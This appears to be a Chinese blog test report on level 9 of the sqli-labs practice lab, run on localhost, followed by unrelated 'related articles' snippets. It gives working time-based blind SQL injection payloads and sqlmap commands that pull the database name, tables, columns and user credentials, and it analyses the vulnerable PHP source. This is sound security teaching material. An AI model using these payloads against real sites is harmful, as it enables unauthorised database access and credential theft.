当前位置: 首页 > news >正文

sql-labs靶场第九关测试报告

目录

一、测试环境

1、系统环境

2、使用工具/软件

二、测试目的

三、操作过程

1、寻找注入点

2、注入数据库

①寻找注入方法

②爆库,查看数据库名称

③爆表,查看security库的所有表

④爆列,查看users表的所有列

⑤成功获取用户名和密码信息

3、sqlmap注入方法

①爆库

②爆表

③爆列

④爆字段

四、源代码分析

五、结论


一、测试环境

1、系统环境

渗透机:本机(127.0.0.1)

靶  机:本机(127.0.0.1)

2、使用工具/软件

火狐浏览器的hackbar插件,版本:2.3.1;

测试网址:http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-9/

二、测试目的

测试get型的sql注入,时间盲注出数据库中的用户名和密码;

使用sqlmap爆破,熟悉sqlmap的参数。

三、操作过程

1、寻找注入点

根据提示,将id作为参数,值为数字

输入id之后,页面回显  You are in.....

测试符号

给数字加单引号  ‘  ,还是正常回显,不管输入什么,都是这样

只有时间盲注了,注入成功就停两秒刷新,否则立即刷新

添加1=1判断,页面两秒后刷新

?id=1' and if(1=1,sleep(2),0) --+  

If函数会对第一个参数进行真假判断,真则执行第二个参数,假则执行第三个参数

尝试1=2判断,页面立即刷新

?id=1' and if(1=2,sleep(2),0) --+  

2、注入数据库

①寻找注入方法

这关只有正常回显了,报错也不会显示

可以利用时间盲注进行注入

符合条件时执行if的true结果,不符合就执行false结果

依旧是结合length函数判断真假与否

?id=1' and if((length(database())>7),sleep(2),0) --+

?id=1' and if((length(database())=8),sleep(2),0) --+

由此可见,数据库名长度是8个字符

②爆库,查看数据库名称

?id=1' and if((ascii(substr(database(),1,1))>100),sleep(2),0) --+

?id=1' and if((ascii(substr(database(),1,1))<150),sleep(2),0) --+

Database()函数返回当前数据库

Substr函数提取数据库名的第一个字母,更改参数,提取第二个、第三个

根据布尔判断,逐渐缩小数据库第一个字母的ASCII码值的范围,直到确定ASCII码值是多少,从而确定是哪个字母,不断尝试可以得出数据库名(时间漫长)

?id=1' and if((ascii(substr(database(),1,1))<150),sleep(2),0) --+

③爆表,查看security库的所有表

?id=1' and if(ascii(substr((select table_name from information_schema.tables where
table_schema=database() limit 0,1),1,1))>100,sleep(2),0) -- +

?id=1' and if(ascii(substr((select table_name from information_schema.tables where
table_schema=database() limit 0,1),1,1))<102,sleep(2),0) -- +

limit(0,1)是第一行,第一个表

依此类推,limit(1,1)是第二行,第二个表名,substr的第二个参数是起始位置,改第二个字母...第三个......,直到ASCII码值大于1都报错就是没有字母或者没有这行了

可以将所有字母拼接起来那就是所有数据库表名了

同理,确定表名的字母,慢慢拼……

使用inforamtion_schema数据库的tables方法查看本数据库的所有表

?id=1' and if(ascii(substr((select table_name from information_schema.tables where
table_schema=database() limit 0,1),1,1))<102,sleep(2),0) -- +

④爆列,查看users表的所有列

?id=1' and if((ascii(substr((select column_name from information_schema.columns where
table_name='users' limit 2,1),3,1)))=115,sleep(2),0) -- +

爆列同理

依旧是inforamtion_schema数据库,使用columns方法查看对应数据表的所有列

⑤成功获取用户名和密码信息

爆字段值,查看username和password字段的所有信息

?id=1' and if((ascii(substr(( select  username from users limit 0,1),1,1)))>1,sleep(2),0) -- +

?id=1' and if((ascii(substr(( select  username from users limit 0,1),1,1)))>1,sleep(2),0) -- +

同理

3、sqlmap注入方法

①爆库

Sqlmap方法只需要把url的less-1改为9就可以了,结果都是一样的

盲注手注太费时间了,还是用sqlmap吧

Sqlmap稳定发挥,yyds

python sqlmap.py -u http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-9/?id=1 –dbs

使用python程序

-u  指定url

--dbs   是爆库的参数

②爆表

python sqlmap.py -u http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-9/?id=1 -D
security –tables

-D  指定数据库,在这个数据库里找数据表

--tables   爆表的参数

③爆列

python sqlmap.py -u http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-9/?id=1 -D
security -T users –columns

-D   指定数据库

-T   指定数据表

--columns    爆破列名的参数

④爆字段

python sqlmap.py -u http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-9/?id=1 -D
security -T users -C username,password --dump

-D   指定数据库

-T   指定数据表

-C   指定需要爆破的列名

--dump    爆破字段值的参数

四、源代码分析

<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);// connectivity $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);if($row){echo '<font size="5" color="#FFFF00">'; echo 'You are in...........';echo "<br>";echo "</font>";}else {echo '<font size="5" color="#FFFF00">';echo 'You are in...........';//print_r(mysql_error());//echo "You have an error in your SQL syntax";echo "</br></font>";    echo '<font color= "#0000ff" font size= 3>';    }
}else { echo "Please input the ID as parameter with numeric value";}?>

1.error_reporting(0);函数,关闭了php代码的所有错误报告。

2.获取的id值,直接写入了日志记录文件,同时也直接应用在sql语句中,没有任何过滤。Sql语句中给id值加了引号,因此,闭合符合为 ‘        。

3.这里语句正确只会回显正确语句“you are in ….”,语句错误不会回显,利用时间盲注,可以根据页面刷新时间来判断是否注入成功。

4.Sql语句只取一行,注入时会把注释掉。

5.利用ascii函数和substr函数可以测出数据库内容。

五、结论

传递id号是sql注入漏洞的一大特点,有id参数就需要特别留意。

寻找注入点的步骤十分重要,找到注入点和闭合符号之后的测试就顺理成章了。

用sqlmap的话,需要把id参数带上,不然爆不出来。

这关使用时间盲注,利用ascii函数和substr函数可以测出数据库内容。

相关文章:

sql-labs靶场第九关测试报告

目录 一、测试环境 1、系统环境 2、使用工具/软件 二、测试目的 三、操作过程 1、寻找注入点 2、注入数据库 ①寻找注入方法 ②爆库&#xff0c;查看数据库名称 ③爆表&#xff0c;查看security库的所有表 ④爆列&#xff0c;查看users表的所有列 ⑤成功获取用户名…...

AI大模型的转折点,关注哪些机遇?

近期&#xff0c;人工智能领域取得又一突破性进展&#xff0c;OpenAI官方隆重推出了其最新力作——模型o1。这款模型的最大亮点在于&#xff0c;它融合了强化学习&#xff08;RL&#xff09;的训练方法&#xff0c;并在模型推理过程中采用了更为深入的内部思维链&#xff08;ch…...

Stable Diffusion 常用大模型及其特点

SD&#xff08;Stable Diffusion&#xff09;的常用大模型及其特点可以归纳如下&#xff1a; 一、基础大模型 SD 1.x 特点&#xff1a;Stable Diffusion的早期版本&#xff0c;主要用于图像生成任务。这里的1.x表示1系列的主要版本&#xff0c;x是一个变量&#xff0c;表示具体…...

macos安装mongodb

文章目录 说明安装和配置安装mongodb配置PATH变量 验证日志及数据存放目录 mac启动和关闭mongodb后台启动失败问题mongodb-compass(GUI) 说明 Homebrew core 列表目前已经将 MongoDB 移除,不再为其提供支持。但是使用国内镜像的brew还是可以安装的&#xff01;这里直接从官网下…...

IDEA基础开发配置以及和git的联动

1.1方向一&#xff1a;工具介绍 我今天要介绍的就是学习Java大部分情况下都会选择的一款工具-----IDEA&#xff0c;这个和我们熟悉的这个pycharm一样&#xff0c;都是属于这个Jetbrains公司的&#xff0c;虽然我对于这个并不是很了解&#xff0c;但是确实知道一点&#xff0c;…...

【前端】前端数据转化为后端数据

【前端】前端数据转化为后端数据 写在最前面格式化数组代码解释hasOwnProperty是什么&#xff1f; &#x1f308;你好呀&#xff01;我是 是Yu欸 &#x1f30c; 2024每日百字篆刻时光&#xff0c;感谢你的陪伴与支持 ~ &#x1f680; 欢迎一起踏上探险之旅&#xff0c;挖掘无限…...

LabVIEW回转支承间隙自动化检测系统

开发了一种基于LabVIEW软件的回转支承间隙检测系统&#xff0c;通过高精度传感器和数据采集卡&#xff0c;自动化、高效地测量回转支承的轴向间隙和径向间隙&#xff0c;提高了检测精度和生产质量。以下是对系统的详细描述与应用案例分析&#xff0c;希望能为有类似需求的开发者…...

数据结构-4.3.串的存储结构

一.串的顺序存储&#xff1a; 1.静态数组会由系统自动回收&#xff1b;动态数组需要手动回收&#xff1b; 2.优点&#xff1a;随机存取&#xff0c;可以立即找到所需的字符&#xff1b;缺点&#xff1a;插入和删除较麻烦&#xff1b; 3.串的顺序存储方案&#xff1a; 对于方…...

LeetCode讲解篇之34. 在排序数组中查找元素的第一个和最后一个位置

文章目录 题目描述题解思路题解代码题目链接 题目描述 题解思路 这题让我们求目标值的左边界和右边界&#xff0c;我们可以采用二分查找搜索有序数组内大于等于目标值的最左边的下标 然后我们只需要在有序数组查找一下大于等于target的最左边下标 如果该下标越界或者下标对应…...

Linux自动化构建工具Make/Makefile

make是一个命令 makefile是一个文件 touch 创建并用vim打开makefile 写入依赖对象和依赖方法 mycode是目标文件 第二行数依赖方法 以tab键开头 make makefile原理 makefile中写的是依赖关系和依赖方法 clean英语清理文件 后不用加源文件。.PHONY定义clean是伪目标。 make只…...

自动驾驶系列—智能驾驶中的“换挡革命”:线控换挡技术详解

&#x1f31f;&#x1f31f; 欢迎来到我的技术小筑&#xff0c;一个专为技术探索者打造的交流空间。在这里&#xff0c;我们不仅分享代码的智慧&#xff0c;还探讨技术的深度与广度。无论您是资深开发者还是技术新手&#xff0c;这里都有一片属于您的天空。让我们在知识的海洋中…...

.mallox勒索病毒肆虐:了解它的危害与防范措施

引言 在数字化时代&#xff0c;随着信息技术的飞速发展&#xff0c;网络空间的安全问题日益凸显。其中&#xff0c;勒索病毒作为一种新型的恶意软件&#xff0c;以其独特的加密方式和勒索行为&#xff0c;成为了网络安全领域的一大威胁。近年来&#xff0c;.mallox勒索病毒以其…...

如何使用ssm实现基于Java的民宿预订管理系统的设计与实现

TOC ssm773基于Java的民宿预订管理系统的设计与实现jsp 绪论 1.1课题研究背景意义 随着科技的发展&#xff0c;计算机的应用&#xff0c;人们的生活方方面面都和互联网密不可分。计算机的普及使得人们的生活更加方便快捷&#xff0c;网络也遍及到我们生活的每个角落&#x…...

光伏组件模型模板在SketchUp中如何完成成模数化设计?

选中模板组件&#xff0c;点击左侧工具栏中移动工具&#xff0c;按住Ctrl再依次点击组件起始点和终点&#xff0c;完成组件复制&#xff0c;输入需要复制的组件数量&#xff08;*n&#xff09;后回车&#xff0c;即可完成模数化设计。 选中模组的多块模型右键进行创建组件或群…...

常用组件详解(十):保存与加载模型、检查点机制的使用

文章目录 1.保存、加载模型2.torch.nn.Module.state_dict()2.1基本使用2.2保存和加载状态字典 3.创建Checkpoint3.1基本使用3.2完整案例 1.保存、加载模型 torch.save()用于保存一个序列化对象到磁盘上&#xff0c;该序列化对象可以是任何类型的对象&#xff0c;包括模型、张量…...

基于SpringBoot+Vue+MySQL的在线学习交流平台

系统展示 用户前台界面 管理员后台界面 系统背景 随着互联网技术的飞速发展&#xff0c;在线学习已成为现代教育的重要组成部分。传统的面对面教学方式已无法满足广大学习者的需求&#xff0c;特别是在时间、地点上受限的学习者。因此&#xff0c;构建一个基于SpringBoot、Vue.…...

前端开发在AI时代如何保持核心竞争力

随着人工智能&#xff08;AI&#xff09;技术的迅猛发展&#xff0c;前端开发领域正经历着前所未有的变革。AI辅助开发工具、自动化测试框架、智能代码补全等技术的出现&#xff0c;极大地提高了开发效率&#xff0c;同时也对前端开发人员的技能和角色提出了新的要求。在这个背…...

ffmpeg面向对象——拉流协议匹配机制探索

目录 1.URLProtocol类2.协议匹配的核心接口3. URLContext类4. 综合调用流程图5.rtsp拉流协议匹配流程图及对象图5.1 rtsp拉流协议调用流程图5.2 rtsp拉流协议对象图 6.本地文件调用流程图及对象图6.1 本地文件调用流程图6.2 本地文件对象图 7.内存数据调用流程图及对象图7.1 内…...

R语言绘制柱状图

柱状图是一种数据可视化工具。由 x 轴和 y 轴构成&#xff0c;x 轴表示类别&#xff0c;y 轴为数据数值。以矩形柱子展示数据大小&#xff0c;便于直观比较不同类别数据差异及了解分布。广泛应用于销售分析、统计、项目管理、科学研究等领域。可定制颜色、宽度等属性&#xff0…...

GNU/Linux - tarball文件介绍介绍

Linux 中的 tarball 文件是将多个文件和目录归档到一个文件中的常用方法&#xff0c;通常用于备份、分发或打包目的。术语 “tarball ”来源于 “tar”&#xff08;磁带归档的缩写&#xff09;命令的使用&#xff0c;该命令最初设计用于将数据写入磁带等顺序存储设备。如今&…...

椭圆曲线密码学(ECC)

一、ECC算法概述 椭圆曲线密码学&#xff08;Elliptic Curve Cryptography&#xff09;是基于椭圆曲线数学理论的公钥密码系统&#xff0c;由Neal Koblitz和Victor Miller在1985年独立提出。相比RSA&#xff0c;ECC在相同安全强度下密钥更短&#xff08;256位ECC ≈ 3072位RSA…...

MongoDB学习和应用(高效的非关系型数据库)

一丶 MongoDB简介 对于社交类软件的功能&#xff0c;我们需要对它的功能特点进行分析&#xff1a; 数据量会随着用户数增大而增大读多写少价值较低非好友看不到其动态信息地理位置的查询… 针对以上特点进行分析各大存储工具&#xff1a; mysql&#xff1a;关系型数据库&am…...

Python爬虫(二):爬虫完整流程

爬虫完整流程详解&#xff08;7大核心步骤实战技巧&#xff09; 一、爬虫完整工作流程 以下是爬虫开发的完整流程&#xff0c;我将结合具体技术点和实战经验展开说明&#xff1a; 1. 目标分析与前期准备 网站技术分析&#xff1a; 使用浏览器开发者工具&#xff08;F12&…...

C++ 基础特性深度解析

目录 引言 一、命名空间&#xff08;namespace&#xff09; C 中的命名空间​ 与 C 语言的对比​ 二、缺省参数​ C 中的缺省参数​ 与 C 语言的对比​ 三、引用&#xff08;reference&#xff09;​ C 中的引用​ 与 C 语言的对比​ 四、inline&#xff08;内联函数…...

ArcGIS Pro制作水平横向图例+多级标注

今天介绍下载ArcGIS Pro中如何设置水平横向图例。 之前我们介绍了ArcGIS的横向图例制作&#xff1a;ArcGIS横向、多列图例、顺序重排、符号居中、批量更改图例符号等等&#xff08;ArcGIS出图图例8大技巧&#xff09;&#xff0c;那这次我们看看ArcGIS Pro如何更加快捷的操作。…...

Mysql中select查询语句的执行过程

目录 1、介绍 1.1、组件介绍 1.2、Sql执行顺序 2、执行流程 2.1. 连接与认证 2.2. 查询缓存 2.3. 语法解析&#xff08;Parser&#xff09; 2.4、执行sql 1. 预处理&#xff08;Preprocessor&#xff09; 2. 查询优化器&#xff08;Optimizer&#xff09; 3. 执行器…...

使用Spring AI和MCP协议构建图片搜索服务

目录 使用Spring AI和MCP协议构建图片搜索服务 引言 技术栈概览 项目架构设计 架构图 服务端开发 1. 创建Spring Boot项目 2. 实现图片搜索工具 3. 配置传输模式 Stdio模式&#xff08;本地调用&#xff09; SSE模式&#xff08;远程调用&#xff09; 4. 注册工具提…...

A2A JS SDK 完整教程:快速入门指南

目录 什么是 A2A JS SDK?A2A JS 安装与设置A2A JS 核心概念创建你的第一个 A2A JS 代理A2A JS 服务端开发A2A JS 客户端使用A2A JS 高级特性A2A JS 最佳实践A2A JS 故障排除 什么是 A2A JS SDK? A2A JS SDK 是一个专为 JavaScript/TypeScript 开发者设计的强大库&#xff…...

OD 算法题 B卷【正整数到Excel编号之间的转换】

文章目录 正整数到Excel编号之间的转换 正整数到Excel编号之间的转换 excel的列编号是这样的&#xff1a;a b c … z aa ab ac… az ba bb bc…yz za zb zc …zz aaa aab aac…; 分别代表以下的编号1 2 3 … 26 27 28 29… 52 53 54 55… 676 677 678 679 … 702 703 704 705;…...

「全栈技术解析」推客小程序系统开发:从架构设计到裂变增长的完整解决方案

在移动互联网营销竞争白热化的当下&#xff0c;推客小程序系统凭借其裂变传播、精准营销等特性&#xff0c;成为企业抢占市场的利器。本文将深度解析推客小程序系统开发的核心技术与实现路径&#xff0c;助力开发者打造具有市场竞争力的营销工具。​ 一、系统核心功能架构&…...